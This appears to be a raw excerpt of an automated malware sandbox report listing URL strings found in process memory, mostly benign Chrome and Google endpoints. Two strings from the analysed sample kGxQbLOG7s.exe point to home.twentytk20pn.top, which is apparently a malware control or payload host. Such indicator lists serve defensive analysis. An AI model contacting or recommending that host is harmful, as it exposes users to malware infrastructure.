Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000005.00000002.1957174738.0000073800654000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chrome.exe, 00000005.00000002.1953439866.000007380008F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: kGxQbLOG7s.exe, 00000000.00000003.1593766923.0000000001423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=STlp5Lj8NycoUDdP1734711207
Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000005.00000002.1960231549.0000073800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929permanentlySwitchToFramebufferFetchMode
Source: chrome.exe, 00000005.00000003.1928252369.0000073801044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928358477.0000073801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928599467.0000073801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928464761.0000073800F58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: chrome.exe, 00000005.00000002.1955811790.00000738004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929896406.0000073800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929828398.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928252369.0000073801044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929796641.0000073800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928389946.00000738010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928358477.0000073801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928599467.0000073801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954925325.00000738002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929768992.0000073800498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928464761.0000073800F58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000005.00000002.1955811790.00000738004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929896406.0000073800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929828398.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928252369.0000073801044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929796641.0000073800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928389946.00000738010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928358477.0000073801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928599467.0000073801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954925325.00000738002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929768992.0000073800498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928464761.0000073800F58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000005.00000002.1955811790.00000738004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929896406.0000073800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929828398.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928252369.0000073801044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929796641.0000073800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928389946.00000738010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928358477.0000073801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928599467.0000073801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954925325.00000738002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929768992.0000073800498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928464761.0000073800F58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000005.00000002.1955811790.00000738004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929896406.0000073800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929828398.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928252369.0000073801044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929796641.0000073800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928389946.00000738010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928358477.0000073801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928599467.0000073801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954925325.00000738002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929768992.0000073800498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928464761.0000073800F58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/~
Source: Amcache.hve.14.dr	String found in binary or memory: http://upx.sf.net
Source: chrome.exe, 00000005.00000002.1959171417.0000073800A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: chrome.exe, 00000005.00000002.1960128689.0000073800C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000005.00000002.1953439866.0000073800078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000005.00000002.1955412535.00000738003C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1955811790.00000738004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000005.00000002.1953107373.000007380001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo?source=ChromiumBrowser
Source: chrome.exe, 00000005.00000002.1957174738.0000073800654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1959375108.0000073800A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
Source: chrome.exe, 00000005.00000002.1959375108.0000073800A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardn
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout?source=ChromiumBrowser&continue=https://accounts.google.com/chrom
Source: chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/LogoutN
Source: chrome.exe, 00000005.00000002.1957174738.0000073800654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000005.00000002.1958915687.00000738009E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin?source=ChromiumBrowser&issueuberauth=1
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000005.00000002.1953706677.00000738000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000005.00000002.1953706677.00000738000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000005.00000002.1953706677.00000738000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000005.00000002.1953439866.0000073800078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000005.00000002.1957174738.0000073800654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000005.00000002.1957174738.0000073800654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000005.00000002.1955811790.00000738004B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com8
Source: chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
